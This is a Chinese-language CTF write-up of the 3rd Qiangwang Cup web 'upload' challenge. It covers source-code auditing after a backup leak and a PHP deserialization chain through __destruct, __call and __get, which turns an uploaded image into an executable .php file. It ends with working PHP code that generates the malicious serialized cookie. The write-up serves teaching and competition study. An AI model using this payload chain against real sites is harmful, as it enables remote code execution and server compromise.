1. 程式人生 > 實用技巧 >第三屆強網杯一道web題(upload)詳解

第三屆強網杯一道web題(upload)詳解

一拿到題目開啟就是一個登入註冊頁面,

順手先測了下有沒有sql注入,發現沒有後註冊了一個,登入

是一個上傳頁面,然後就是在burp裡測試各種繞過上傳

期間開著dirsearch對站點進行目錄掃描

測試發現了每個賬戶都只能上傳一次圖片,每次重新嘗試繞過都要重新註冊一個新賬號,這個有點繁瑣

後來發現掃出來了一個備份檔案www.tar.gz

下載下來後開啟果然是網站原始碼,看來就是程式碼審計了

原始碼也不算多,關鍵也是幾個檔案。

關鍵的函式也只有幾處,先來看下Profile.php中的upload_img函式,當我們上傳頭像的時候根據路由後臺會直接呼叫這裡的upload_img函式

首先,先檢查使用者是否登入,呼叫了login_check函式,我們跟進login_check函式

可以看到這裡有個unserialize函式,第一時間先想到反序列化漏洞,繼續看,簡單來說這個檢查函式就是先把cookie中的user取出來,接著base64解碼,反序列化後的值與資料庫中根據id查詢出來的值進行對比,相同即返回1,不同即返回0;

返回upload_img函式,接著往下

接著檢查是否上傳了檔案, 若有檔案被上傳,filename_tmp為在服務端儲存的臨時檔名,filename為客戶端檔案的原名稱 的md5值並且加上了“.png”為字尾,接著呼叫ext_check()函式對字尾進行檢查,若字尾為png則返回1,否則返回0。(當時我一直認為該檢查函式有點多此一舉的感覺,事實證明這在後面的反序列中是需要繞過的)

繼續往下,當ext()檢查函式返回1後進入if語句,先getimagesize()函式簡單判斷傳入的檔案是否為圖片型別,

接著複製臨時檔案filename_tmp到md5值+png字尾的filename檔案,然後再刪除臨時檔案filename_tmp

這裡我首先想到了條件競爭,後來想了想也否定了。

往下,把filename賦給img後,呼叫update_img()函式,跟進

該函式先從資料庫根據id取出img的值(當我們第一上傳圖片後,資料庫中該img就有相對應的值了),檢查img的值是否為空,為空則表明是第一次上傳,然後提示“Upload img successful!”,返回home目錄;

如果不為空,即之前已經上傳過一次圖片了,則報錯’Upload file failed!’,返回index目錄;

看到這裡也明白了為什麼之前會有一個賬戶只能上傳一次的錯覺,原因就是這裡,其實一個賬戶可以不止上傳一次,前端雖然看起來返回失敗了,後端還是上傳上去了。

這裡對upload()函式已經有了一個大概瞭解。接著看同樣是Profile.php檔案下的update_cookie()函式

很短,只有兩行。看第一行,其實就是把filename的路徑(也就是我們圖片上傳後的路徑)的值賦給profile[img],

然後第二行就是對profile進行序列化,base64加密,再更新客戶端中的cookie。

再來看看Profile.php最後的兩個函式

這兩個都是魔術方法,先來看第一個__get (),它的作用是當其他類讀取其不可訪問屬性的值時自動觸發。在這裡,就是當其他類讀取了profile類中不可訪問屬性的值時自動返回except陣列的內容。

第二個是__call()魔術方法,其實跟 第一個是類似的,只不過它是物件中呼叫一個不可訪問方法時觸發 。也就是說,這兩個魔術方法裡的內容合起來,只要構造得到,就可以隨意呼叫該類中的某一個方法。

接下來我們要看到Register.php中的最後一個函式,也是一個魔術方法:

__destruct ()函式的作用是當物件的所有引用都被刪除或者當物件被顯式銷燬時執行。同時看這裡它執行的內容,可以呼叫index方法。

到這裡,一條反序列的攻擊鏈已經呼之欲出了,接下來就是要思考怎麼整合這些可利用的點並構造反序列化了。

慢慢來捋一遍思路:

首先,無論我們開啟哪個頁面,都先呼叫login_check(函式來檢查是否已登入,而login_check()函式中就把cookie中的user值提出來並反序列化,我們就得從這裡先入手。

那麼在構造序列化的時候要先new哪一個類呢?

在register類的最後一個魔術方法是一個比較好的選擇,因為我們可以控制它去訪問profile類中的index方法。

而profile類中由於index方法,自動觸發__call()魔術方法,

先if語句判斷index的值是否存在,而index在profile中是不存在的,所以又自動觸發了__get()魔術方法,我們可以控制except陣列返回的值為upload_img,從而來呼叫upload_img()函式,成功地呼叫到了upload函式後,再讓

filename_tmp的值改為我們已經上傳的圖片的路徑+檔名,再把filename改為php字尾的檔案,就可以讓圖片裡的程式碼成功解析了。

總結:所以總的來說就是通過上傳包含有惡意程式碼的圖片,通過修改cookie來達到反序列化的一系列操作,把png字尾的檔案改為php檔案從而來實現了真正的上傳繞過。

附上:構造反序列化的php程式碼

<?php
namespace app\web\controller;
require __DIR__ . '/../thinkphp/base.php';
use think\Controller;

class Register
{
    public $checker;
    public function __construct()
    {
        $this->checker = new Profile();
    }
}
class Profile
{
    public $except;
    public $filename;
    public $filename_tmp;
    public $ext;
    public $checker;
    public function __construct()
    {
        $this->filename="../public/upload/98acc62aa02eda032d1caed497ce72a0/6d74cc7548a0ddef1eafc6a6224e9d43.php";
        $this->filename_tmp = "../public/upload/98acc62aa02eda032d1caed497ce72a0/6d74cc7548a0ddef1eafc6a6224e9d43.png";
        $this->ext = "1";
        $this->checker = "0";
        $this->except=array("index"=>"upload_img");
    }

}

echo base64_encode((serialize(new Register())));

?>